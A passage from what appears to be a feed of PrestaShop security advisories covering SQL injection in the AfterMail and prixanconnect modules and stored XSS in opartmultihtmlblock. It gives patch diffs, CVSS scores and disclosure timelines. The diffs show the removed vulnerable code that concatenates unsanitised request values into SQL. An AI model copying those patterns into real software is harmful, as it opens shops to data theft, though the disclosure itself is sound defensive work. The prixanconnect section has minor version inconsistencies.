<span class="gd">-    $success = Db::getInstance()-&gt;execute('DELETE FROM `' . _DB_PREFIX_ . 'aftermail_queue` WHERE id_product = ' . $id_product . ' AND id_customer = ' . $id_customer . ' AND id_aftermail_conf = ' . $id_conf . ' AND unsubscribe = "' . $token . '"');
</span><span class="gi">+    $success = Db::getInstance()-&gt;execute('DELETE FROM `' . _DB_PREFIX_ . 'aftermail_queue` WHERE id_product = ' . (int)$id_product . ' AND id_customer = ' . (int)$id_customer . ' AND id_aftermail_conf = ' . (int)$id_conf . ' AND unsubscribe = "' . pSQL($token) . '"');
</span>     $rows = Db::getInstance()-&gt;Affected_Rows();
     
     $mod = new AfterMailPresta();
<span class="p">@@ -91,7 +91,7 @@</span> function unsubscribeAll()
     $id_customer = Tools::getValue('customer_id');
     $token = Tools::getValue('token');
     
<span class="gd">-    $success = Db::getInstance()-&gt;execute('DELETE FROM `' . _DB_PREFIX_ . 'aftermail_queue` WHERE id_customer = ' . $id_customer . ' AND unsubscribe_all = "' . $token . '"');
</span><span class="gi">+    $success = Db::getInstance()-&gt;execute('DELETE FROM `' . _DB_PREFIX_ . 'aftermail_queue` WHERE id_customer = ' . (int)$id_customer . ' AND unsubscribe_all = "' . pSQL($token) . '"');
</span>     $rows = Db::getInstance()-&gt;Affected_Rows();
     
     $mod = new AfterMailPresta();

</code></pre></div></div>

<p>SQL injection fixed in <code class="language-plaintext highlighter-rouge">aftermailpresta.php</code>:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- modules/aftermailpresta/aftermailpresta.php
</span><span class="gi">+++ modules/aftermailpresta/aftermailpresta.php
</span><span class="p">@@ -888,7 +888,7 @@</span> class AftermailPresta extends Module
                 $ids = explode(',', $row['subscribe_ids']);
                 foreach ($ids as $id) {
                     if ($row['subscribe_ids'] == '0' || trim($id) === Tools::getValue("id_product")) {
<span class="gd">-                        $result2 = Db::getInstance()-&gt;ExecuteS('SELECT * FROM `' . _DB_PREFIX_ . 'aftermail_queue` ' . 'WHERE id_product = ' . Tools::getValue("id_product") . ' AND id_customer = ' . $this-&gt;context-&gt;customer-&gt;id);
</span><span class="gi">+                        $result2 = Db::getInstance()-&gt;ExecuteS('SELECT * FROM `' . _DB_PREFIX_ . 'aftermail_queue` ' . 'WHERE id_product = ' . (int)Tools::getValue("id_product") . ' AND id_customer = ' . $this-&gt;context-&gt;customer-&gt;id);
</span>                         if (empty($result2)) {
                             // 2. get frequencies
                             $frequencies = explode(',', $row['reminder_frequency']);
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s <strong>highly recommended to upgrade the module</strong> to the latest version or to <strong>delete</strong> the module if unused.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-10</td>
      <td>Discovery of the vulnerability by Profileo.com</td>
    </tr>
    <tr>
      <td>2022-09-10</td>
      <td>Contacting the author of the module to notify him about the discovery</td>
    </tr>
    <tr>
      <td>2022-09-10</td>
      <td>The author confirmed the vulnerability and released the version 2.2.1</td>
    </tr>
    <tr>
      <td>2023-04-02</td>
      <td>Contact the author back to clarify changes in the published version</td>
    </tr>
    <tr>
      <td>2023-04-21</td>
      <td>Receiving the CVE ID from Mitre</td>
    </tr>
    <tr>
      <td>2023-08-20</td>
      <td>Contact PrestaShop to clarify changes in the published version</td>
    </tr>
    <tr>
      <td>2023-08-21</td>
      <td>Contact the author to notify him about the upcoming publication</td>
    </tr>
    <tr>
      <td>2023-10-10</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/emails-notifications/8299-aftermail.html#specifications">AfterMail Module</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30154">National Vulnerability Database CVE-2023-30154</a></li>
</ul>]]></content><author><name>[&quot;Profileo.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[Multiple SQL injection vulnerabilities in the AfterMail (aftermailpresta) module from Shoprunners for PrestaShop, prior to version 2.2.1, allows remote attackers to execute arbitrary SQL commands via the id_customer, id_conf, id_product or token parameter in aftermailajax.php and via the id_product parameter in hooks DisplayRightColumnProduct and DisplayProductButtons.]]></summary></entry><entry><title type="html">[CVE-2023-30148] Multiple cross-site scripting (XSS) vulnerabilities in the Multi html block (opartmultihtmlblock) module and multihtmlblock* sub-modules from Opart for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/10/opartmultihtmlblock.html" rel="alternate" type="text/html" title="[CVE-2023-30148] Multiple cross-site scripting (XSS) vulnerabilities in the Multi html block (opartmultihtmlblock) module and multihtmlblock* sub-modules from Opart for PrestaShop" /><published>2023-10-10T00:00:00+00:00</published><updated>2023-10-10T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/10/opartmultihtmlblock</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/10/opartmultihtmlblock.html"><![CDATA[<p>Multiple cross-site scripting (XSS) vulnerabilities of Type 2 (Stored XSS) B2F (Back to front) in the Multi html block (opartmultihtmlblock) module and multihtmlblock* sub-modules from Opart for PrestaShop, prior to version 2.0.12, allows remote authenticated users to inject arbitrary web script or HTML via the <code class="language-plaintext highlighter-rouge">body_text</code> or <code class="language-plaintext highlighter-rouge">body_text_rude</code> field.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30148">CVE-2023-30148</a></li>
  <li><strong>Published at</strong>: 2023-10-10</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: opartmultihtmlblock and multihtmlblock* sub-modules</li>
  <li><strong>Impacted release</strong>: For opartmultihtmlblock &lt;= 2.0.11 (Fixed in 2.0.12), for multihtmlblock* : = 1.0.0</li>
  <li><strong>Product author</strong>: Opart</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li>
  <li><strong>Severity</strong>: medium (6.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>Prior to version 2.0.12 of the Prestashop Multi html block (opartmultihtmlblock) module and multihtmlblock* sub-modules for PrestaShop, scripts can be injected into the database by the admin configuration form or chained by an SQL injection, which can then be executed in user browsers.</p>

<p><strong>WARNING</strong>: This vulnerability has been seen as exploited to inject malicious code into the payment page using the <code class="language-plaintext highlighter-rouge">displayBanner</code> hook from the <code class="language-plaintext highlighter-rouge">multihtmlblockmessageheader</code> sub-module (exploited by a compromised admin).</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: high</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Hijack payment modules</li>
  <li>Redirect users to another website</li>
  <li>Technical and personal data leaks</li>
</ul>

<h2 id="patch">Patch</h2>

<p>Patches listed below will:</p>
<ol>
  <li>Sanitize the admin form (removing scripts thanks to <code class="language-plaintext highlighter-rouge">isCleanHtml</code> validate, and removing iframes is not authorized in HTML fields</li>
  <li>Sanitize the string saved in the database before displaying it (to disable corrupted data from SQL injections)</li>
</ol>

<p>Please note that these patches should be applied to the main module opartmultihtmlblock and all multihtmlblock* sub-modules. For the main module, the component to modify is the class <code class="language-plaintext highlighter-rouge">BlockhtmlClass</code> in <code class="language-plaintext highlighter-rouge">sourcefiles</code> directory and well as the main class <code class="language-plaintext highlighter-rouge">Blockhtml</code>, and for the sub-modules, the component to edit is the <code class="language-plaintext highlighter-rouge">Multihtmlblock*Class</code> as well as the main class <code class="language-plaintext highlighter-rouge">Multihtmlblock*</code></p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/sourcefiles/BlockhtmlClass.php
</span><span class="gi">+++ b/sourcefiles/BlockhtmlClass.php
</span><span class="p">@@ -62,8 +62,8 @@</span> class %Modulename%Class extends ObjectModel
                'fields' =&gt; array(
                        'id_shop' =&gt;                            array('type' =&gt; self::TYPE_INT, 'validate' =&gt; 'isunsignedInt', 'required' =&gt; true),
                        // Lang fields
<span class="gd">-                       'body_text' =&gt;                  array('type' =&gt; self::TYPE_HTML, 'lang' =&gt; true, 'validate' =&gt; 'isString'),
-                        'body_text_rude' =&gt;            array('type' =&gt; self::TYPE_HTML, 'lang' =&gt; true, 'validate' =&gt; 'isString'),
</span><span class="gi">+                       'body_text' =&gt;                  array('type' =&gt; self::TYPE_HTML, 'lang' =&gt; true, 'validate' =&gt; 'isCleanHtml'),
+                        'body_text_rude' =&gt;            array('type' =&gt; self::TYPE_HTML, 'lang' =&gt; true, 'validate' =&gt; 'isCleanHtml'),
</span>                         'all_pages' =&gt; array('type' =&gt; self::TYPE_BOOL, 'validate' =&gt; 'isBool'),
                         'show_on_home' =&gt;            array('type' =&gt; self::TYPE_STRING, 'validate' =&gt; 'isBool'),
                         'category_id' =&gt;            array('type' =&gt; self::TYPE_STRING, 'validate' =&gt; 'isString'),
</code></pre></div></div>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/sourcefiles/blockhtml.php
</span><span class="gi">+++ b/sourcefiles/blockhtml.php
</span><span class="p">@@ -384,9 +384,27 @@</span> class %Modulename% extends Module
                             $blockhtml=new %Modulename%Class();
                             $blockhtml-&gt;id_shop=$id_shop;                                
                             $blockhtml-&gt;copyFromPost();
<span class="gi">+                            // Validate if our html fields contains an iframe
+                            $isIframeValidated = $this-&gt;validateIframe($blockhtml-&gt;body_text);
+                            $isIframeValidated = $isIframeValidated ?
+                                $this-&gt;validateIframe($blockhtml-&gt;body_text_rude) :
+                                $isIframeValidated;
+                            if (!$isIframeValidated) {
+                                // There is an iframe that is not allowed, we stop here
+                                return false;
+                            }
</span>                             $blockhtml-&gt;save();
                        }
                         $blockhtml-&gt;copyFromPost();
<span class="gi">+                        // Validate if our html fields contains an iframe
+                        $isIframeValidated = $this-&gt;validateIframe($blockhtml-&gt;body_text);
+                        $isIframeValidated = $isIframeValidated ?
+                            $this-&gt;validateIframe($blockhtml-&gt;body_text_rude) :
+                            $isIframeValidated;
+                        if (!$isIframeValidated) {
+                            // There is an iframe that is not allowed, we stop here
+                            return false;
+                        }
</span>                         $blockhtml-&gt;update();
                         
                        $this-&gt;messages[]=$this-&gt;l('Block successfuly update');
<span class="p">@@ -395,6 +413,25 @@</span> class %Modulename% extends Module
                }
        }
 
<span class="gi">+    /**
+     * Validate a string depending if iframes are allowed in HTML fields
+     *
+     * @param string $htmlBody
+     *
+     * @return bool
+     */
+    protected function validateIframe($htmlBody)
+    {
+        foreach ($htmlBody as $stringToValidate) {
+            if (!Configuration::get('PS_ALLOW_HTML_IFRAME') &amp;&amp;
+                preg_match('/&lt;iframe.*src=\"(.*)\".*&gt;&lt;\/iframe&gt;/isU', $stringToValidate)) {
+                $this-&gt;erreurs[] = $this-&gt;trans('To use &lt;iframe&gt;, enable the feature in Shop Parameters &gt; General');
+                return false;
+            }
+        }
+        return true;
+    }
+
</span>         private function getIsInArray($controller_name,$obj_value,$the_get) {
             if(get_class($this-&gt;context-&gt;controller)==$controller_name &amp;&amp; $obj_value != "") {
                 $id_array = explode(',',$obj_value);
<span class="p">@@ -478,7 +515,10 @@</span> class %Modulename% extends Module
                 
                 if(!$this-&gt;displayAllowed($blockhtml))
                     return false;
<span class="gd">-                
</span><span class="gi">+        // Remove all scripts tags (including inline scripts)
+        $blockhtml-&gt;body_text_rude = $this-&gt;sanatizeHtmlForDisplay($blockhtml-&gt;body_text_rude);
+        $blockhtml-&gt;body_text = $this-&gt;sanatizeHtmlForDisplay($blockhtml-&gt;body_text);
+
</span>                $this-&gt;smarty-&gt;assign(array(
                        'blockhtml' =&gt; $blockhtml,
                        'default_lang' =&gt; (int)$this-&gt;context-&gt;language-&gt;id,
<span class="p">@@ -495,6 +535,68 @@</span> class %Modulename% extends Module
                     return $this-&gt;display(__FILE__, 'views/templates/ps17/blockhtml.tpl');
        }
        
<span class="gi">+    /**
+     * Remove JavaScript from HTML
+     * Credit to : https://www.mradeveloper.com/blog/remove-javascript-from-html-with-php
+     *
+     * @param string $inputP
+     *
+     * @return string sanatized HTML
+     */
+    protected function sanatizeHtmlForDisplay($inputP)
+    {
+        $spaceDelimiter = "#BLANKSPACE#";
+        $newLineDelimiter = "#NEWLNE#";
+                                    
+        $inputArray = [];
+        $minifiedSanitized = '';
+        $unMinifiedSanitized = '';
+        $sanitizedInput = [];
+        $returnData = [];
+        $returnType = "string";
+
+        if($inputP === null) return null;
+        if($inputP === false) return false;
+        if(is_array($inputP) &amp;&amp; sizeof($inputP) &lt;= 0) return [];
+
+        if (is_array($inputP)) {
+            $inputArray = $inputP;
+            $returnType = "array";
+        } else {
+            $inputArray[] = $inputP;
+            $returnType = "string";
+        }
+
+        foreach($inputArray as $input)
+        {
+            $minified = str_replace(" ",$spaceDelimiter,$input);
+            $minified = str_replace("\n",$newLineDelimiter,$minified);
+
+            //removing &lt;script&gt; tags
+            $minifiedSanitized = preg_replace("/[&lt;][^&lt;]*script.*[&gt;].*[&lt;].*[\/].*script*[&gt;]/i","",$minified);
+
+            $unMinifiedSanitized = str_replace($spaceDelimiter," ",$minifiedSanitized);
+            $unMinifiedSanitized = str_replace($newLineDelimiter,"\n",$unMinifiedSanitized);
+
+            //removing inline js events
+            $unMinifiedSanitized = preg_replace("/([ ]on[a-zA-Z0-9_-]{1,}=\".*\")|([ ]on[a-zA-Z0-9_-]{1,}='.*')|([ ]on[a-zA-Z0-9_-]{1,}=.*[.].*)/","",$unMinifiedSanitized);
+
+            //removing inline js
+            $unMinifiedSanitized = preg_replace("/([ ]href.*=\".*javascript:.*\")|([ ]href.*='.*javascript:.*')|([ ]href.*=.*javascript:.*)/i","",$unMinifiedSanitized);
+
+                                        
+            $sanitizedInput[] = $unMinifiedSanitized;
+        }
+
+        if ($returnType == "string" &amp;&amp; sizeof($sanitizedInput) &gt; 0) {
+            $returnData = $sanitizedInput[0];
+        } else {
+            $returnData = $sanitizedInput;
+        }
+                                    
+        return $returnData;
+    }
+    
</span>        public function hookDisplayTop($param)  {
                return $this-&gt;hookDisplayLeftColumn($param);
        }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module</li>
  <li>To mitigate potential issues arising from credential leaks, enforce mandatory 2FA for backoffice logins. This will necessitate the integration of a 2FA module.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>First exploit detected in server logs</td>
    </tr>
    <tr>
      <td>2023-03-11</td>
      <td>Discovery and POC of the vulnerability by Profileo</td>
    </tr>
    <tr>
      <td>2023-03-12</td>
      <td>Contacting the editor</td>
    </tr>
    <tr>
      <td>2023-03-14</td>
      <td>Editor confirmed the vulnerability and is planning a new release of the module</td>
    </tr>
    <tr>
      <td>2023-03-15</td>
      <td>First patch (2.0.11) of the module suggested. Additional fixes were required</td>
    </tr>
    <tr>
      <td>2023-03-15</td>
      <td>New release of the module (2.0.12)</td>
    </tr>
    <tr>
      <td>2023-04-03</td>
      <td>The editor communicated with known customers concerning the vulnerability</td>
    </tr>
    <tr>
      <td>2023-04-21</td>
      <td>CVE ID Received</td>
    </tr>
    <tr>
      <td>2023-10-10</td>
      <td>Publishing this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.store-opart.fr/p/13-op-art-multi-html-block.html">Editor Website store-opart</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30148">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Profileo.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[Multiple cross-site scripting (XSS) vulnerabilities of Type 2 (Stored XSS) B2F (Back to front) in the Multi html block (opartmultihtmlblock) module and multihtmlblock* sub-modules from Opart for PrestaShop, prior to version 2.0.12, allows remote authenticated users to inject arbitrary web script or HTML via the body_text or body_text_rude field.]]></summary></entry><entry><title type="html">[CVE-2023-40920] Improper neutralization of an SQL parameter in prixanconnect module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/05/prixanconnect.html" rel="alternate" type="text/html" title="[CVE-2023-40920] Improper neutralization of an SQL parameter in prixanconnect module for PrestaShop" /><published>2023-10-05T00:00:00+00:00</published><updated>2023-10-05T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/05/prixanconnect</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/05/prixanconnect.html"><![CDATA[<p>In the module “Prixan connect” (prixanconnect) for PrestaShop, an attacker can perform a blind SQL injection before 1.62 without restrictions. Release 1.62 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40920">CVE-2023-40920</a></li>
  <li><strong>Published at</strong>: 2023-10-05</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Vendor</strong>: PrestaShop</li>
  <li><strong>Product</strong>: prixanconnect</li>
  <li><strong>Impacted release</strong>: &lt;= 1.61 (1.62 fixed the issue)</li>
  <li><strong>Product author</strong>: Prixan</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Up to Release 1.63, multiple sensitive SQL calls in class <code class="language-plaintext highlighter-rouge">PrixanconnectUpdateProductsModuleFrontController::importProducts()</code> can be executed with a trivial http call and exploited to forge a blind SQL injection throught a json string posted in the body content.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/prixanconnect/controllers/front/Products.php
</span><span class="gi">+++ b/prixanconnect/controllers/front/Products.php
</span><span class="p">@@ -33,21 +33,21 @@</span> class PrixanconnectProductsModuleFrontCo
          LEFT JOIN `" . _DB_PREFIX_ . "product_attribute` AS pa ON pa.`id_product_attribute` = pashop.`id_product_attribute`
          LEFT JOIN `" . _DB_PREFIX_ . "product_attribute_combination` AS combi ON combi.`id_product_attribute` = pashop.`id_product_attribute`
          LEFT JOIN `" . _DB_PREFIX_ . "attribute` as attr ON attr.`id_attribute` = combi.`id_attribute`
<span class="gd">-         LEFT JOIN `" . _DB_PREFIX_ . "attribute_lang` as attlang ON attlang.`id_attribute` = attr.`id_attribute` AND attlang.`id_lang` = " . $langID . "
</span><span class="gi">+         LEFT JOIN `" . _DB_PREFIX_ . "attribute_lang` as attlang ON attlang.`id_attribute` = attr.`id_attribute` AND attlang.`id_lang` = " . (int)$langID . "
</span>          LEFT JOIN `" . _DB_PREFIX_ . "attribute_group_lang`AS grouplang ON grouplang.`id_attribute_group` = attr.`id_attribute_group` AND grouplang.`id_lang` = attlang.`id_lang`
<span class="gd">-         WHERE prshop.`id_shop` = " . $idShop;
</span><span class="gi">+         WHERE prshop.`id_shop` = " . (int)$idShop;
</span>         if ($only_active === 1) {
             $query .= " AND prshop.`active` = 1";
         }
         if (!empty($date_from)) {
<span class="gd">-            $query .= " AND prshop.`date_upd` &gt; '$date_from'";
</span><span class="gi">+            $query .= ' AND prshop.`date_upd` &gt; "'.pSQL($date_from).'"';
</span>         }
 
         if (!empty($product_ids) &amp;&amp; count($product_ids) &gt; 0) {
<span class="gd">-            $query .= ' AND prshop.`id_product` IN (' . join(',', $product_ids) . ') ';
</span><span class="gi">+            $query .= ' AND prshop.`id_product` IN (' . implode(',', array_map('intval', $product_ids)) . ') ';
</span>         }

+        if(!empty($limit)) {
<span class="gi">+             if (Tools::getValue('start') != null &amp;&amp; Tools::getValue('limit') != null) {
+               $limit = ' LIMIT ' . (int) Tools::getValue('start') . ', ' . (int) Tools::getValue('limit');
+           } else if (Tools::getValue('limit') != null) {
+               $limit = ' LIMIT ' . (int) Tools::getValue('limit');
+           } else {
+               $limit = '';
+           }
+       }
</span>        $query .= " ORDER BY prshop.`id_product`  $limit";
 
         return $query;
     }

@@ -177,21 +157,12 @@ INNER JOIN `" . _DB_PREFIX_ . "orders` O
         WHERE pt.name = \"product\" GROUP BY  p.id_object ) view_counter on (view_counter.obj_id=producttable.`id_product`) ";

         $mainSqlQuery = "SELECT producttable.id_product, od.sales_count,od.sales,od.purchase_cost FROM 
         `" . _DB_PREFIX_ . "product` AS producttable
                INNER JOIN  `" . _DB_PREFIX_ . "product_shop` AS prshop  ON producttable.`id_product`= prshop.`id_product`
                 INNER JOIN $sqlSubQuerySalesCount
<span class="gd">-        WHERE prshop.`active` = 1 AND prshop.`id_shop` = " . $idShop;
-
-        //   LEFT JOIN $sqlSubQueryViews
</span><span class="gi">+        WHERE prshop.`active` = 1 AND prshop.`id_shop` = " . (int)$idShop;
</span> 
<span class="gd">-        // $mainSqlQuery = $this-&gt;parseDateAndAddToSqlQuery($mainSqlQuery, 'start_date', '&gt;=', false);
-        // $mainSqlQuery = $this-&gt;parseDateAndAddToSqlQuery($mainSqlQuery, 'end_date', '&lt;=', true);
</span> 
         if (Tools::getValue('ids') != null) {
             $splitted = explode(',', Tools::getValue('ids'));

--- a/prixanconnect/controllers/front/ProductsStats.php
<span class="gi">+++ b/prixanconnect/controllers/front/ProductsStats.php
</span><span class="p">@@ -177,66 +161,25 @@</span> INNER JOIN `" . _DB_PREFIX_ . "orders` O
         WHERE pt.name = \"product\" GROUP BY  p.id_object ) view_counter on (view_counter.obj_id=producttable.`id_product`) ";
         $mainSqlQuery = "SELECT producttable.id_product, od.sales_count,od.sales,od.purchase_cost, view_counter.views FROM 
         `" . _DB_PREFIX_ . "product` AS producttable
                INNER JOIN  `" . _DB_PREFIX_ . "product_shop` AS prshop  ON producttable.`id_product`= prshop.`id_product`
                 INNER JOIN $sqlSubQuerySalesCount
                LEFT JOIN $sqlSubQueryViews
<span class="gd">-        WHERE prshop.`active` = 1 AND prshop.`id_shop` = " . $idShop;
</span><span class="gi">+        WHERE prshop.`active` = 1 AND prshop.`id_shop` = " . (int)$idShop;
</span> 
         if (Tools::getValue('ids') != null) {
             $splitted = explode(',', Tools::getValue('ids'));
             if (count($splitted) &gt; 0) {
<span class="gd">-                $mainSqlQuery .= ' AND producttable.id_product IN (' . implode(',', $splitted) . ')';
</span><span class="gi">+                $mainSqlQuery .= ' AND producttable.id_product IN (' . implode(',', array_map('intval', $splitted)) . ')';
</span>             }
         }

--- a/prixanconnect/controllers/front/ProductsViews.php
<span class="gi">+++ b/prixanconnect/controllers/front/ProductsViews.php
</span><span class="p">@@ -176,7 +160,7 @@</span> class PrixanconnectProductsViewsModuleFr
         `" . _DB_PREFIX_ . "product` AS producttable
                INNER JOIN  `" . _DB_PREFIX_ . "product_shop` AS prshop  ON producttable.`id_product`= prshop.`id_product`
                LEFT JOIN $sqlSubQueryViews
<span class="gd">-        WHERE prshop.`active` = 1 AND prshop.`id_shop` = " . $idShop;
</span><span class="gi">+        WHERE prshop.`active` = 1 AND prshop.`id_shop` = " . (int)$idShop;
</span>
@@ -184,7 +168,7 @@ class PrixanconnectProductsViewsModuleFr
         if (Tools::getValue('ids') != null) {
             $splitted = explode(',', Tools::getValue('ids'));
             if (count($splitted) &gt; 0) {
<span class="gd">-                $mainSqlQuery .= ' AND producttable.id_product IN (' . implode(',', $splitted) . ')';
</span><span class="gi">+                $mainSqlQuery .= ' AND producttable.id_product IN (' . implode(',', array_map('intval', $splitted)) . ')';
</span>             }
         }

--- a/prixanconnect/controllers/front/UpdateProducts.php
<span class="gi">+++ b/prixanconnect/controllers/front/UpdateProducts.php
</span><span class="p">@@ -16,18 +16,20 @@</span> class PrixanconnectUpdateProductsModuleF
     {
         header('Content-type: application/json');
         // $request-&gt;getContent();
<span class="gi">+
</span>         die(Tools::jsonEncode(array('check' =&gt; 'you must call this url with POST method')));
<span class="gi">+        
</span>     }
     private function getProductAttributes($product_id)
     {
<span class="gd">-        $query = "SELECT id_product_attribute FROM `" . _DB_PREFIX_ . "product_attribute` WHERE id_product=" . $product_id;
</span><span class="gi">+        $query = "SELECT id_product_attribute FROM `" . _DB_PREFIX_ . "product_attribute` WHERE id_product=" . (int)$product_id;
</span> 
         $results = Db::getInstance()-&gt;executeS($query);
         return $results;
     }
     private function getProductFromAttributeId($product_attribute_id)
     {
<span class="gd">-        $query = "SELECT id_product FROM `" . _DB_PREFIX_ . "product_attribute` WHERE id_product_attribute=" . $product_attribute_id;
</span><span class="gi">+        $query = "SELECT id_product FROM `" . _DB_PREFIX_ . "product_attribute` WHERE id_product_attribute=" . (int)$product_attribute_id;
</span> 
         $results = Db::getInstance()-&gt;executeS($query);
         if ($results &amp;&amp; count($results) &gt; 0) {

@@ -102,20 +80,14 @@ class PrixanconnectUpdateProductsModuleF

     private function changeProductAttributePrice_mode_impact($id_product, $id_product_attribute, $price, $id_shop)
     {
<span class="gd">-        $query = 'SELECT price FROM  `' . _DB_PREFIX_ . 'product` WHERE id_product=' . $id_product;
</span><span class="gi">+        $query = 'SELECT price FROM  `' . _DB_PREFIX_ . 'product` WHERE id_product=' . (int)$id_product;
</span>         $price_result =    Db::getInstance()-&gt;executeS($query);
 
         if ($price_result == null || count($price_result) == 0) {
<span class="p">@@ -127,16 +99,11 @@</span> class PrixanconnectUpdateProductsModuleF
         //only shop
<span class="gd">-        $query = 'UPDATE `' . _DB_PREFIX_ . 'product_attribute_shop` SET price=' . $impact_price . ' WHERE id_product_attribute=' . $id_product_attribute;
</span><span class="gi">+        $query = 'UPDATE `' . _DB_PREFIX_ . 'product_attribute_shop` SET price=' . (float) $impact_price . ' WHERE id_product_attribute=' . (int)$id_product_attribute;
</span>         if (!empty($id_shop)) {
<span class="gd">-            $query .= ' AND id_shop=' . $id_shop;
</span><span class="gi">+            $query .= ' AND id_shop=' . (int)$id_shop;
</span>         }
 
 
<span class="p">@@ -147,18 +114,17 @@</span> class PrixanconnectUpdateProductsModuleF
         if (empty($id_shop)) {
             $id_shop = 0;
         }
<span class="gd">-        $query = 'INSERT INTO `' . _DB_PREFIX_ . 'specific_price` (id_product,id_product_attribute,price,`from`,`to`,id_shop) VALUES(' . (int) $id_product . ',' . $id_product_attribute . ',' . $price . ',' . "'0000-00-00 00:00:00'" . ',' . "'0000-00-00 00:00:00'" . ',' .  $id_shop . ')';
</span><span class="gi">+        $query = 'INSERT INTO `' . _DB_PREFIX_ . 'specific_price` (id_product,id_product_attribute,price,`from`,`to`,id_shop) VALUES(' . (int) $id_product . ',' . (int) $id_product_attribute . ',' . (float) $price . ',' . "'0000-00-00 00:00:00'" . ',' . "'0000-00-00 00:00:00'" . ',' .  (int) $id_shop . ')';
</span>         return  Db::getInstance()-&gt;execute($query);
 
